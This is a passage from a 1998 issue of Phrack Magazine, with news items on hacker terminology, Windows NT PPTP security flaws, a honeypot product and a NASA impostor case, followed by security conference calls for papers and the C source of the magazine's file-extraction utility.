words, the people who write us and other media outlets are a part of the
|
|||
|
first generation of hackers.
|
|||
|
|
|||
|
But the media reflects society as much as, if not more than, they
|
|||
|
change or alter it. Today's culture thinks of hackers as people who
|
|||
|
destroy or damage computer systems, or ones who "hack into" computers to
|
|||
|
obtain information normal people cannot access. While it's probably the
|
|||
|
media's fault, there's no going back now -- hackers are now the same
|
|||
|
people as crackers.
|
|||
|
|
|||
|
Besides, if a person outside of the computer biz called someone a
|
|||
|
cracker, images of Saltines or a crazy person or an investigator in a
|
|||
|
popular British television series would probably come to mind. For most
|
|||
|
people on the street, the last thing they would think of is a person they
|
|||
|
know as a hacker.
|
|||
|
|
|||
|
So, what's to be done about the situation? Not a whole heck of a lot,
|
|||
|
unfortunately. The damage is done. If more people in the "general public"
|
|||
|
and the "mainstream media" read this news service and saw this article,
|
|||
|
some headway might be made. But even if they did, cultural attitudes and
|
|||
|
thoughts are very difficult to change. For those people in the US --
|
|||
|
remember New Coke? Or the metric system? If you're outside the US, can you
|
|||
|
imagine calling football "soccer?"
|
|||
|
|
|||
|
And to the first generation of hackers -- those of us "in the know" in
|
|||
|
this industry do know about you. When we report on hackers nowadays, we're
|
|||
|
not talking about you, and we do not mean to insult you. Honest.
|
|||
|
|
|||
|
=== Today's Opinion
|
|||
|
|
|||
|
Okay, so that last paragraph was a bit on the hokey side. Alright, so
|
|||
|
it was really hokey. But from what I remember, we had been getting quite a
|
|||
|
few angry e-mails at the time regarding our usage of "hacker," and I was
|
|||
|
trying to do a bit of damage control. But if memory serves me correctly,
|
|||
|
we received a couple of "nice try" letters after we published the
|
|||
|
editorial. Nice try? Well, I thought it was.
|
|||
|
|
|||
|
But, was it a "safe" editorial? Sure. But it was -- and still is --
|
|||
|
also "safe" to just write about "hackers" and offend a few people, rather
|
|||
|
than use the term "cracker" and leave a bunch of people scratching their
|
|||
|
heads over what the heck a "cracker" even was.
|
|||
|
|
|||
|
While I'm seeing "cracker" more and more in computer-related
|
|||
|
publications (unfortunately, though, not in ours as much as I'd like to
|
|||
|
see) these days, the term is sorely lacking in the widely
|
|||
|
read/viewed/listened-to media outlets.
|
|||
|
|
|||
|
I'll take the liberty of quoting what ZDTV's Wellen quoted me as saying
|
|||
|
two years ago: "If more people in the 'general public' and the 'mainstream
|
|||
|
media' read this news service and saw this article, some headway might be
|
|||
|
made (in accurately calling people crackers instead of hackers)."
|
|||
|
|
|||
|
Now, I can see a mainstream media-type -- I used to be one of these
|
|||
|
people, by the way -- wondering how in the heck can they get their average
|
|||
|
seventh-grade audience to understand that a cracker is different from a
|
|||
|
hacker. It's easy for us computer/IT journalist types to write to our
|
|||
|
expectations of our audience, because it is generally pretty much like us.
|
|||
|
|
|||
|
The answer, though, is pretty easy. Here's an example:
|
|||
|
|
|||
|
"Two teenage hackers, more accurately known as 'crackers,' illegally
|
|||
|
entered into the Pentagon's computer system and took it out in an
|
|||
|
overnight attack." The real trick, then, is to never again use "hacker"
|
|||
|
in the story. Just use "cracker." Your audience will pick up on this,
|
|||
|
especially if you do it in all of your stories. I promise.
|
|||
|
|
|||
|
So there. My unwieldy media consulting bill is now in the mail to all
|
|||
|
of the non-computing local and national media outlets.
|
|||
|
|
|||
|
0x23>------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: Windows NT Security Under Fire
|
|||
|
Author: Chris Oakes
|
|||
|
Date: 6.1.98
|
|||
|
|
|||
|
Listen to security expert and consultant Bruce Schneier and he'll tell you
|
|||
|
that Windows NT's security mechanism for running virtual private networks
|
|||
|
is so weak as to be unusable. Microsoft counters that the issues Schneier
|
|||
|
points out have mostly been addressed by software updates or are too
|
|||
|
theoretical to be of major concern.
|
|||
|
|
|||
|
Schneier, who runs a security consulting firm in Minneapolis, says his
|
|||
|
in-depth "cryptanalysis" of Microsoft's implementation of the
|
|||
|
Point-to-Point Tunneling Protocol (PPTP) reveals fundamentally flawed
|
|||
|
security techniques that dramatically compromise the security of company
|
|||
|
information.
|
|||
|
|
|||
|
"PPTP is a generic protocol that will support any encryption. We broke the
|
|||
|
Microsoft-defined [encryption] algorithms, and also the Microsoft control
|
|||
|
channel." However, he said he was unaware of some of Microsoft's NT 4.0
|
|||
|
updates when he ran his tests.
|
|||
|
|
|||
|
With relative ease, intruders can exploit the flaws, Schneier said, which
|
|||
|
he summarizes as weak authentication and poor encryption implementation.
|
|||
|
The result is that passwords can be easily compromised, private
|
|||
|
information can be disclosed, and servers used to host a virtual private
|
|||
|
network, or VPN, can be disabled through denial-of-service attacks,
|
|||
|
Schneier said.
|
|||
|
|
|||
|
It's kindergarten cryptography. These are dumb mistakes," Schneier said.
|
|||
|
|
|||
|
In letting companies use the public Internet as a means for establishing
|
|||
|
"private" company networks, VPN products use the protocol to establish the
|
|||
|
"virtual" connections between remote computers.
|
|||
|
|
|||
|
PPTP secures the packets sent via the Internet by encapsulating them in
|
|||
|
other packets. Encryption is used to further secure the data contained in
|
|||
|
the packets. It is the scheme Microsoft uses for this encryption that
|
|||
|
Schneier says is flawed.
|
|||
|
|
|||
|
Specifically, Schneier's analysis found flaws that would let an attacker
|
|||
|
"sniff" passwords as they travel across a network, break open an
|
|||
|
encryption scheme, and mount denial-of-service attacks on network servers,
|
|||
|
which render them inoperable. Confidential data is therefore compromised,
|
|||
|
he said.
|
|||
|
|
|||
|
The nature of the flaws varied, but Schneier identified five primary ones.
|
|||
|
For example, Schneier found a method of scrambling passwords into a code
|
|||
|
-- a rough description of "hashing" -- to be simple enough that the code
|
|||
|
is easily broken. Though 128-bit "keys" can be used to access the
|
|||
|
encryption feature of the software, Schneier said the simple
|
|||
|
password-based keys that it allows can be so short that information could
|
|||
|
be decrypted by figuring out what may be very simple passwords, such as a
|
|||
|
person's middle name.
|
|||
|
|
|||
|
"This is really surprising. Microsoft has good cryptographers in their
|
|||
|
employ." The problem, he said, is that they're not adequately involved in
|
|||
|
product development.
|
|||
|
|
|||
|
Schneier emphasized that no flaws were found in the PPTP protocol itself,
|
|||
|
but in the Windows NT version of it. Alternate versions are used on other
|
|||
|
systems such as Linux-based servers.
|
|||
|
|
|||
|
Microsoft's implementation is "only buzzword-compliant," Schneier said.
|
|||
|
"It doesn't use [important security features like 128-bit encryption]
|
|||
|
well."
|
|||
|
|
|||
|
Windows NT has in the past been the object of several security complaints,
|
|||
|
including denial-of-service vulnerabilities.
|
|||
|
|
|||
|
Microsoft says the five primary weaknesses Schneier has called attention
|
|||
|
to are either theoretical in nature, previously discovered, and/or have
|
|||
|
been addressed by recent updates to the operating system software.
|
|||
|
|
|||
|
"There's really not much in the way of news here," said Kevin Kean, an NT
|
|||
|
product manager at Microsoft. "People point out security issues with the
|
|||
|
product all the time.
|
|||
|
|
|||
|
"We're on our way to enhancing our product to take care of some of these
|
|||
|
situations already," Kean said.
|
|||
|
|
|||
|
He acknowledged that the password hashing had been fairly simple, but that
|
|||
|
updates have used a more secure hashing algorithm. He also contends that
|
|||
|
even a weak hashing can be relatively secure.
|
|||
|
|
|||
|
The issue of using simple passwords as encryption keys is relevant to
|
|||
|
individual company policy more than Microsoft's product. A company that
|
|||
|
has a policy requiring employees to use long, more complex passwords can
|
|||
|
ensure that their network encryption is more secure. An update to the
|
|||
|
product, Kean said, lets administrators require a long password from
|
|||
|
company employees.
|
|||
|
|
|||
|
On another issue, where a "rogue" server could fool a virtual private
|
|||
|
network into thinking it was a legitimate node on the network, Karan
|
|||
|
Khanna, a Windows NT product manager, said while that was possible, the
|
|||
|
server would only intercept of a "stream of gobbledygook" unless the
|
|||
|
attacker had also cracked the encryption scheme. That and other issues
|
|||
|
require a fairly difficult set of conditions, including the ability to
|
|||
|
collect the diverging paths of VPN packets onto a server, to come into
|
|||
|
place.
|
|||
|
|
|||
|
For that reason, Microsoft insists its product offers a reasonable level
|
|||
|
of security for virtual private networks, and that upcoming versions of
|
|||
|
the software will make it stronger.
|
|||
|
|
|||
|
Windows NT security expert Russ Cooper, who runs a mailing list that
|
|||
|
monitors problems with Windows NT, agrees with Microsoft that most of
|
|||
|
Schneier's findings have been previously turned up and discussed in forums
|
|||
|
like his. What Schneier has done is tested some of them, he said, and
|
|||
|
proven their existence.
|
|||
|
|
|||
|
But he points out that fixes for the problems have only recently been
|
|||
|
released, outdating Schneier's tests. The problems may not have been all
|
|||
|
successfully addressed by the fixes, Cooper said, but represent an unknown
|
|||
|
that may negate some of Schneier's findings.
|
|||
|
|
|||
|
On Schneier's side, however, Cooper agrees that it typically takes
|
|||
|
publicity of such weaknesses to get Microsoft to release fixes. "Folks
|
|||
|
need to get better response from Microsoft in terms of security," Cooper
|
|||
|
said.
|
|||
|
|
|||
|
He also added support to a point that Schneier makes -- that Microsoft
|
|||
|
treats security more casually than other issues because it has no impact
|
|||
|
on profit.
|
|||
|
|
|||
|
"Microsoft doesn't care about security because I don't believe they think
|
|||
|
it affects their profit. And honestly, it probably doesn't." Cooper
|
|||
|
believes this is part of what keeps them from hiring enough security
|
|||
|
personnel.
|
|||
|
|
|||
|
Microsoft vehemently contests the charge. Microsoft's Khanna said in
|
|||
|
preparing the next release of the operating system, the company has
|
|||
|
installed a team to attack NT, an effort meant to find security problems
|
|||
|
before the product is released.
|
|||
|
|
|||
|
And, Microsoft reminds us, no product is totally secure. "Security is a
|
|||
|
continuum," Microsoft's Kean said. "You can go from totally insecure to
|
|||
|
what the CIA might consider secure." The security issue at hand, he said,
|
|||
|
lies within a reasonable point on that continuum.
|
|||
|
|
|||
|
0x24>------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: New Decoy Technology Designed to Sting Hackers
|
|||
|
Source: ZDNet
|
|||
|
Author: Mel Duvall
|
|||
|
|
|||
|
There was a sweet bonus for Network Associates Inc. in its recent
|
|||
|
acquisition of intrusion detection company Secure Networks Inc. The
|
|||
|
security vendor gained access to a new technology that is designed to
|
|||
|
sting hackers, not just keep them out.
|
|||
|
|
|||
|
Secure Networks is developing a product, code-named Honey Pot, that is
|
|||
|
essentially a decoy network within a network. The idea is to lure hackers
|
|||
|
into the decoy, like flies to a honey pot, to gain as much information
|
|||
|
about their hacking techniques and identity as possible.
|
|||
|
|
|||
|
"It's a virtual network in every way, with one exception - it doesn't
|
|||
|
exist," Secure Networks President Arthur Wong said.
|
|||
|
|
|||
|
The product is unusual in that it acknowledges a fact of life few
|
|||
|
companies are willing to admit - that hackers can and do break into
|
|||
|
corporate networks.
|
|||
|
|
|||
|
Tom Claire, director of product management at Network Associates, said
|
|||
|
after years of denying the problem exists, companies are beginning to take
|
|||
|
intrusion detection seriously.
|
|||
|
|
|||
|
"Now they're starting to say, maybe I can watch what hackers are doing in
|
|||
|
my network and find out what they're after and how they do it," he said.
|
|||
|
"Then they can use that knowledge to make their systems better."
|
|||
|
|
|||
|
The seriousness of the issue was underscored last week with reports that
|
|||
|
America Online Inc. was suffering from a series of attacks during which
|
|||
|
hackers gained access to subscriber and AOL staff accounts. The intruders
|
|||
|
appeared to gain access by tricking AOL customer service representatives
|
|||
|
into resetting passwords, based on information they obtained by looking at
|
|||
|
member profiles.
|
|||
|
|
|||
|
Honey Pot, which is due to be released in the fourth quarter, draws
|
|||
|
hackers in by appearing to offer access to sensitive data.
|
|||
|
|
|||
|
Once into the dummy network, hackers spend their time trolling through
|
|||
|
fake files, while the software gains information about their habits and
|
|||
|
tries to trace their source.
|
|||
|
|
|||
|
Wong said it's unlikely a hacker's identity can be obtained after one
|
|||
|
visit to the Honey Pot, but once a hacker breaks into a system, he or she
|
|||
|
tends to come back for more.
|
|||
|
|
|||
|
"It's like tracing a phone call - the more they return, the more you can
|
|||
|
narrow down their identity," Wong said.
|
|||
|
|
|||
|
Larry Dietz, a security analyst at Zona Research Inc., said another
|
|||
|
security company, Secure Computing Corp., built offensive capabilities
|
|||
|
into its Sidewinder firewall as early as 1996, but "strike back"
|
|||
|
technologies, such as Honey Pot, are still relatively unused in the
|
|||
|
corporate market.
|
|||
|
|
|||
|
"It's a good idea if you have a sophisticated user that knows what to do
|
|||
|
with the technology," Dietz said. "But how many companies have the staff
|
|||
|
or the expertise to be security cops?"
|
|||
|
|
|||
|
0x25>------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: Reno dedicates high-tech crime fighting center
|
|||
|
Source: Knight Ridder
|
|||
|
Author: Clif leblanc
|
|||
|
|
|||
|
COLUMBIA, S.C. -- With the grandeur of a French royal palace, the nation's
|
|||
|
first school for prosecutors was dedicated Monday with a challenge from
|
|||
|
U.S. Attorney Janet Reno to fight 21st century electronic crime.
|
|||
|
|
|||
|
``When a man can sit in St. Petersburg, Russia, and steal from a New York
|
|||
|
bank with wire transfers, you know you've got a problem,'' Reno told a
|
|||
|
conference room full of dignitaries at the National Advocacy Center.
|
|||
|
|
|||
|
She said the high-tech equipment the center on the University of South
|
|||
|
Carolina campus offers will allow prosecutors to ``fight those who would
|
|||
|
use cyber tools to invade us.''
|
|||
|
|
|||
|
An estimated 10,000 federal, state and local prosecutors annually will
|
|||
|
learn from the nation's best government lawyers at the $26 million center,
|
|||
|
which takes up about 262,000 square feet and has 264 dormitory rooms for
|
|||
|
prosecutors in training. Students -- practicing prosecutors from across
|
|||
|
the nation -- will be taught to use digital wizardry and conventional
|
|||
|
classroom training to win convictions against computer criminals, health
|
|||
|
care frauds, employers who discriminate and run-of-the-mill offenders.
|
|||
|
|
|||
|
The center is a unique facility dreamed up 17 years ago by then-U.S.
|
|||
|
Attorney General Griffin Bell so government lawyers at all levels could
|
|||
|
learn to prosecute crime better.
|
|||
|
|
|||
|
Reno, formerly a state prosecutor in Dade County, Fla., said she was
|
|||
|
especially happy the center will help state and local prosecuting
|
|||
|
attorneys, too. ``I'm a child of the state court system,'' she said. ``It
|
|||
|
is my hope that this institution can lead the way in properly defining the
|
|||
|
roles of state and local ... law enforcement.''
|
|||
|
|
|||
|
About 95 percent of all prosecutions in the nation are by local
|
|||
|
prosecuting attorneys, said William L. Murphy, president of the National
|
|||
|
District Attorneys Association, who attended Monday's opening.
|
|||
|
|
|||
|
Reno said she also wants the center to tap into University of South
|
|||
|
Carolina faculty to teach prosecutors about office management, budgeting,
|
|||
|
alternatives to litigation and even to find better ways for citizens and
|
|||
|
police to work together to fight crime.
|
|||
|
|
|||
|
``We can all blaze a trail to make government responsible to its people
|
|||
|
and still make people accountable,'' Reno said in a 15-minute dedication
|
|||
|
speech.
|
|||
|
|
|||
|
If the center works as she envisions it, federal prosecutors will get
|
|||
|
better at trying capital cases, and DNA evidence will reduce the chances
|
|||
|
that innocent people will be wrongly convicted, Reno said.
|
|||
|
|
|||
|
In her third trip to Columbia, Reno joked good reports from students
|
|||
|
trained at the center have put a stop to early complaints of ``who wants
|
|||
|
to go to Columbia?''
|
|||
|
|
|||
|
Reno thanked Sen. Fritz Hollings for pushing the idea of the center. She
|
|||
|
recalled that in their first meeting Hollings confronted her with a Forbes
|
|||
|
magazine article that reported the Justice Department was too big, ``and
|
|||
|
there was this little center he wanted to talk about.''
|
|||
|
|
|||
|
USC President John Palms said when Hollings first approached him about
|
|||
|
placing the center at the school, Palms' immediate answer was: ``Whatever
|
|||
|
it is, yes.''
|
|||
|
|
|||
|
But the center has a much bigger role for USC, Palms said. He described
|
|||
|
the dedication as, ``an event that's probably as important as anything
|
|||
|
that's ever happened at the university.''
|
|||
|
|
|||
|
Hollings, who is seeking re-election to a seventh term in the U.S.
|
|||
|
Senate, jokingly described the finished facility as, ``a little
|
|||
|
Versailles.'' The 1,300-room Palace of Versailles was the opulent home of
|
|||
|
the French royal family for more than 100 years.
|
|||
|
|
|||
|
``This is the most beautiful building the government has ever built,''
|
|||
|
Hollings said.
|
|||
|
|
|||
|
``We've got the best of the best for America's prosecutors,'' Hollings
|
|||
|
said. ``Now it's up to us to produce the best.'' [Image]
|
|||
|
|
|||
|
0x26>------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: Man poses as astronaut steals NASA secrets
|
|||
|
Source: Reuters
|
|||
|
Date: 6.4.98
|
|||
|
|
|||
|
HOUSTON (Reuters) [6.4.98] - A licensed airline pilot posing as an
|
|||
|
astronaut bluffed his way into a top-security NASA facility and got secret
|
|||
|
information on the space shuttle during an eight-month deception, federal
|
|||
|
prosecutors said Wednesday.
|
|||
|
|
|||
|
Jerry Alan Whittredge, 48, faces up to five years in jail and a $250,000
|
|||
|
fine for misrepresenting himself as a federal employee, the U.S.
|
|||
|
Attorney's Office for Southern Texas said.
|
|||
|
|
|||
|
Whittredge contacted NASA's Marshall Space Center in Huntsville, Alabama,
|
|||
|
in November, claiming he had been chosen for a space shuttle mission and
|
|||
|
requesting a tour of the facility.
|
|||
|
|
|||
|
According to an affidavit by NASA special agent Joseph Gutheinz,
|
|||
|
Whittredge told NASA officials that he was a CIA agent and held the Medal
|
|||
|
of Honor.
|
|||
|
|
|||
|
On the basis of his false credentials he was granted a tour on Nov. 21 and
|
|||
|
22.
|
|||
|
|
|||
|
"Mr. Whittredge was permitted to sit at the console of NASA Mission
|
|||
|
Control (NASA's most secure area) at Marshall Space Flight Center during a
|
|||
|
shuttle mission," the affidavit said.
|
|||
|
|
|||
|
In March Whittredge tricked NASA into giving him confidential information
|
|||
|
about the shuttle's propulsion system and in May he hoodwinked officials
|
|||
|
at Kingsville Naval Air Station in Texas into giving him training on a
|
|||
|
T-45 flight simulator.
|
|||
|
|
|||
|
Gutheinz said Whittredge had most recently been living in Texas but did
|
|||
|
not appear to be employed there and that he also had a permanent address
|
|||
|
in Florida.
|
|||
|
|
|||
|
Whittredge made an initial appearance in court on Tuesday and is due to
|
|||
|
attend a bond hearing on Friday.
|
|||
|
|
|||
|
0x27>------------------------------------------------------------------------
|
|||
|
|
|||
|
|
|||
|
DEF CON 6.0 Convention Announcement #1.00 (03.27.98)
|
|||
|
July 31-August 2 @ The Plaza Hotel and Casino in Las Vegas
|
|||
|
|
|||
|
IN SHORT:--------------------------------------------------------------------
|
|||
|
|
|||
|
WHAT: Speakers & partying in Vegas for hackers from the world over.
|
|||
|
WHEN: July 31st - August 2nd
|
|||
|
WHERE: Las Vegas, Nevada @ The Plaza Hotel and Casino
|
|||
|
COSTS: $40 at the door
|
|||
|
MORE INFO: http://www.defcon.org/ or email info@defcon.org
|
|||
|
|
|||
|
|
|||
|
0x28>------------------------------------------------------------------------
|
|||
|
|
|||
|
Network Security Solutions Conference Announcement
|
|||
|
|
|||
|
July 29th and 30th, Las Vegas Nevada
|
|||
|
|
|||
|
|
|||
|
****************** Call For Papers Announcement ***************************
|
|||
|
|
|||
|
Network Security Solutions is now accepting papers for its 1998 event.
|
|||
|
Papers and requests to speak will be received and reviewed from March 24th
|
|||
|
until June 1st. Please submit an outline on a self selected topic
|
|||
|
covering either the problems or solutions surrounding network security.
|
|||
|
Topics of interest include Intrusion Detection Systems (IDS), distributed
|
|||
|
languages, network design, authentication systems, perimeter protection,
|
|||
|
and more. Talks will be an hour with a half hour for Q&A. There will be
|
|||
|
LCD projectors, overhead, and slide projectors.
|
|||
|
|
|||
|
Updated announcements will be posted to newsgroups, security mailing lists,
|
|||
|
email, or visit the website at http://www.blackhat.com/
|
|||
|
|
|||
|
|
|||
|
0x29>------------------------------------------------------------------------
|
|||
|
|
|||
|
The Program Chair, Win Treese of Open Market, Inc., and the Program
|
|||
|
Committee announce the availability of the Call for Papers for:
|
|||
|
|
|||
|
8th USENIX Security Symposium
|
|||
|
August 23-26, 1999
|
|||
|
Marriott Hotel, Washington, D.C.
|
|||
|
|
|||
|
Sponsored by USENIX, the Advanced Computing Systems Association
|
|||
|
In cooperation with The CERT Coordination Center
|
|||
|
|
|||
|
================================================
|
|||
|
IMPORTANT DATES FOR REFEREED PAPERS
|
|||
|
Paper submissions due: March 16, 1999
|
|||
|
Author notification: April 21, 1999
|
|||
|
Camera-ready final papers due: July 12, 1999
|
|||
|
================================================
|
|||
|
|
|||
|
If you are interested in submitting a paper to the committee, proposing
|
|||
|
an Invited Talk, or proposing a tutorial, you can find the Call for
|
|||
|
Papers at http://www.usenix.org/events/sec99/cfp.html.
|
|||
|
|
|||
|
The USENIX Security Symposium brings together researchers, practitioners,
|
|||
|
system administrators, system programmers, and others interested in the
|
|||
|
latest advances in security and applications of cryptography.
|
|||
|
|
|||
|
Symposium topics include:
|
|||
|
|
|||
|
Adaptive security and system management
|
|||
|
Analysis of malicious code
|
|||
|
Applications of cryptographic techniques
|
|||
|
Attacks against networks and machines
|
|||
|
Authentication & authorization of users, systems & applications
|
|||
|
Detecting attacks, intrusions, and computer misuse
|
|||
|
Developing secure systems
|
|||
|
File and file system security
|
|||
|
Network security
|
|||
|
New firewall technologies
|
|||
|
Public key infrastructure
|
|||
|
Security in heterogeneous environments
|
|||
|
Security incident investigation and response
|
|||
|
Security of agents and mobile code
|
|||
|
Technology for rights management & copyright protection
|
|||
|
World Wide Web security
|
|||
|
|
|||
|
=============================================================
|
|||
|
USENIX is the Advanced Computing Systems Association. Its members are
|
|||
|
the computer technologists responsible for many of the innovations in
|
|||
|
computing we enjoy today. To find out more about USENIX, visit its
|
|||
|
web site: http://www.usenix.org.
|
|||
|
|
|||
|
0x2a>------------------------------------------------------------------------
|
|||
|
|
|||
|
Last Call For Participation - RAID 98
|
|||
|
|
|||
|
(also available at http://www.zurich.ibm.com/~dac/RAID98)
|
|||
|
|
|||
|
First International Workshop on the Recent Advances in Intrusion
|
|||
|
Detection
|
|||
|
|
|||
|
September 14-15, 1998 Louvain-la-Neuve, Belgium
|
|||
|
|
|||
|
We solicit your participation in the first International Workshop on the
|
|||
|
Recent Advances in Intrusion Detection (RAID 98).
|
|||
|
|
|||
|
This workshop, the first in an anticipated annual series, will bring
|
|||
|
together leading figures from academia, government, and industry to talk
|
|||
|
about the current state of intrusion detection technologies and paradigms
|
|||
|
from the research and commercial perspectives.
|
|||
|
|
|||
|
|
|||
|
We have scheduled RAID 98 immediately before ESORICS 98, at the same time
|
|||
|
as CARDIS 98, and at the same location as both of these conferences. This
|
|||
|
provides a unique opportunity for the members of these distinct, yet
|
|||
|
related, communities to participate in all these events and meet and share
|
|||
|
ideas during joined organized external events.
|
|||
|
|
|||
|
|
|||
|
The RAID 98 web site: http://www.zurich.ibm.com/~dac/RAID98,
|
|||
|
|
|||
|
The ESORICS 98 web site: http://www.dice.ucl.ac.be/esorics98.
|
|||
|
|
|||
|
The CARDIS 98 web site: http://www.dice.ucl.ac.be/cardis98/
|
|||
|
|
|||
|
0x2b>------------------------------------------------------------------------
|
|||
|
|
|||
|
Computer Security Area (ASC) / DGSCA
|
|||
|
|
|||
|
DISC 98
|
|||
|
|
|||
|
"Individual Responsability"
|
|||
|
|
|||
|
Fifth Computer Security Event In Mexico
|
|||
|
|
|||
|
Mexico, D.F. November 2-6, 1998
|
|||
|
|
|||
|
==========================================================================
|
|||
|
|
|||
|
C A L L F O R P A P E R S
|
|||
|
|
|||
|
The goal of DISC 98 event is to create a conscience about the strategies
|
|||
|
of security to protect information between the community who uses computers.
|
|||
|
This year the DISC belongs to the most important events of Mexico.
|
|||
|
|
|||
|
The computing general congress (http://www.org.org.mx/cuarenta)
|
|||
|
celebrates forty years of computing in Mexico and convoques those
|
|||
|
specialist in computer sucurity to participate on this as lecture.
|
|||
|
|
|||
|
"Individual responsability" is the slogan of this year and suggest
|
|||
|
that the security of an organization should be totally supported
|
|||
|
by directive, security responsables, managers, and system's users.
|
|||
|
|
|||
|
|
|||
|
WWW : http://www.asc.unam.mx/disc98
|
|||
|
|
|||
|
|
|||
|
0x2c>------------------------------------------------------------------------
|
|||
|
|
|||
|
C A L L F O R P A P E R S
|
|||
|
|
|||
|
Assurance for the Global Convergence:
|
|||
|
Enterprise, Infrastructure and Information Operations
|
|||
|
|
|||
|
InfoWarCon-9
|
|||
|
Mount Royal Hotel, London, UK
|
|||
|
December 7-9
|
|||
|
|
|||
|
December 7 - Tutorials
|
|||
|
December 8-9 General Session.
|
|||
|
|
|||
|
Sponsors:
|
|||
|
MIS Training Institute - www.misti.com
|
|||
|
Winn Schwartau, Interpact, Inc. - www.infowar.com
|
|||
|
|
|||
|
|
|||
|
For more information contact: Voice: 508.879.7999 Fax: 508.872.1153
|
|||
|
Exhibitors & Sponsorship: Adam Lennon - Alennon@misti.com
|
|||
|
Attendance & Registration: www.misti.com
|
|||
|
|
|||
|
|
|||
|
----[ EOF
|
|||
|
---[ Phrack Magazine Volume 8, Issue 53 July 8, 1998, article 15 of 15
|
|||
|
|
|||
|
|
|||
|
-------------------------[ Phrack Magzine Extraction Utility
|
|||
|
|
|||
|
|
|||
|
--------[ Phrack Staff
|
|||
|
|
|||
|
|
|||
|
Neat0! A python version! Thanks to Timmy 2tone <_spoon_@usa.net>.
|
|||
|
By all means, keep sending new versions on in.
|
|||
|
|
|||
|
|
|||
|
|
|||
|
---------------------8<------------CUT-HERE----------->8---------------------
|
|||
|
|
|||
|
<++> EX/PMEU/extract2.c
|
|||
|
/* extract.c by Phrack Staff and sirsyko
|
|||
|
*
|
|||
|
* (c) Phrack Magazine, 1997
|
|||
|
* 1.8.98 rewritten by route:
|
|||
|
* - aesthetics
|
|||
|
* - now accepts file globs
|
|||
|
* todo:
|
|||
|
* - more info in tag header (file mode, checksum)
|
|||
|
* Extracts textfiles from a specially tagged flatfile into a hierarchical
|
|||
|
* directory strcuture. Use to extract source code from any of the articles
|
|||
|
* in Phrack Magazine (first appeared in Phrack 50).
|
|||
|
*
|
|||
|
* gcc -o extract extract.c
|
|||
|
*
|
|||
|
* ./extract file1 file2 file3 ...
|
|||
|
*/
|
|||
|
|
|||
|
|
|||
|
#include <stdio.h>
|
|||
|
#include <stdlib.h>
|
|||
|
#include <sys/stat.h>
|
|||
|
#include <string.h>
|
|||
|
#include <dirent.h>
|
|||
|
|
|||
|
#define BEGIN_TAG "<++> "
|
|||
|
#define END_TAG "<-->"
|
|||
|
#define BT_SIZE strlen(BEGIN_TAG)
|
|||
|
#define ET_SIZE strlen(END_TAG)
|
|||
|
|
|||
|
struct f_name
|
|||
|
{
|
|||
|
u_char name[256];
|
|||
|
struct f_name *next;
|
|||
|
};
|
|||
|
|
|||
|
int
|
|||
|
main(int argc, char **argv)
|
|||
|
{
|
|||
|
u_char b[256], *bp, *fn;
|
|||
|
int i, j = 0;
|
|||
|
FILE *in_p, *out_p = NULL;
|
|||
|
struct f_name *fn_p = NULL, *head = NULL;
|
|||
|
|
|||
|
if (argc < 2)
|
|||
|
{
|
|||
|
printf("Usage: %s file1 file2 ... filen\n", argv[0]);
|
|||
|
exit(0);
|
|||
|
}
|
|||
|
|
|||
|
/*
|
|||
|
* Fill the f_name list with all the files on the commandline (ignoring
|
|||
|
* argv[0] which is this executable). This includes globs.
|
|||
|
*/
|
|||
|
for (i = 1; (fn = argv[i++]); )
|
|||
|
{
|
|||
|
if (!head)
|
|||
|
{
|
|||
|
if (!(head = (struct f_name *)malloc(sizeof(struct f_name))))
|
|||
|
{
|
|||
|
perror("malloc");
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
strncpy(head->name, fn, sizeof(head->name));
|
|||
|
head->next = NULL;
|
|||
|
fn_p = head;
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
if (!(fn_p->next = (struct f_name *)malloc(sizeof(struct f_name))))
|
|||
|
{
|
|||
|
perror("malloc");
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
fn_p = fn_p->next;
|
|||
|
strncpy(fn_p->name, fn, sizeof(fn_p->name));
|
|||
|
fn_p->next = NULL;
|
|||
|
}
|
|||
|
}
|
|||
|
/*
|
|||
|
* Sentry node.
|
|||
|
*/
|
|||
|
if (!(fn_p->next = (struct f_name *)malloc(sizeof(struct f_name))))
|
|||
|
{
|
|||
|
perror("malloc");
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
fn_p = fn_p->next;
|
|||
|
fn_p->next = NULL;
|
|||
|
|
|||
|
/*
|
|||
|
* Check each file in the f_name list for extraction tags.
|
|||
|
*/
|
|||
|
for (fn_p = head; fn_p->next; fn_p = fn_p->next)
|
|||
|
{
|
|||
|
if (!(in_p = fopen(fn_p->name, "r")))
|
|||
|
{
|
|||
|
fprintf(stderr, "Could not open input file %s.\n", fn_p->name);
|
|||
|
continue;
|
|||
|
}
|
|||
|
else fprintf(stderr, "Opened %s\n", fn_p->name);
|
|||
|
while (fgets(b, 256, in_p))
|
|||
|
{
|
|||
|
if (!strncmp (b, BEGIN_TAG, BT_SIZE))
|
|||
|
{
|
|||
|
b[strlen(b) - 1] = 0; /* Now we have a string. */
|
|||
|
j++;
|
|||
|
|
|||
|
if ((bp = strchr(b + BT_SIZE + 1, '/')))
|
|||
|
{
|
|||
|
while (bp)
|
|||
|
{
|
|||
|
*bp = 0;
|
|||
|
mkdir(b + BT_SIZE, 0700);
|
|||
|
*bp = '/';
|
|||
|
bp = strchr(bp + 1, '/');
|
|||
|
}
|
|||
|
}
|
|||
|
if ((out_p = fopen(b + BT_SIZE, "w")))
|
|||
|
{
|
|||
|
printf("- Extracting %s\n", b + BT_SIZE);
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
printf("Could not extract '%s'.\n", b + BT_SIZE);
|
|||
|
continue;
|
|||
|
}
|
|||
|
}
|
|||
|
else if (!strncmp (b, END_TAG, ET_SIZE))
|
|||
|
{
|
|||
|
if (out_p) fclose(out_p);
|
|||
|
else
|
|||
|
{
|
|||
|
fprintf(stderr, "Error closing file %s.\n", fn_p->name);
|
|||
|
continue;
|
|||
|
}
|
|||
|
}
|
|||
|
else if (out_p)
|
|||
|
{
|
|||
|
fputs(b, out_p);
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
if (!j) printf("No extraction tags found in list.\n");
|
|||
|
else printf("Extracted %d file(s).\n", j);
|
|||
|
return (0);
|
|||
|
}
|
|||
|
|
|||
|
/* EOF */
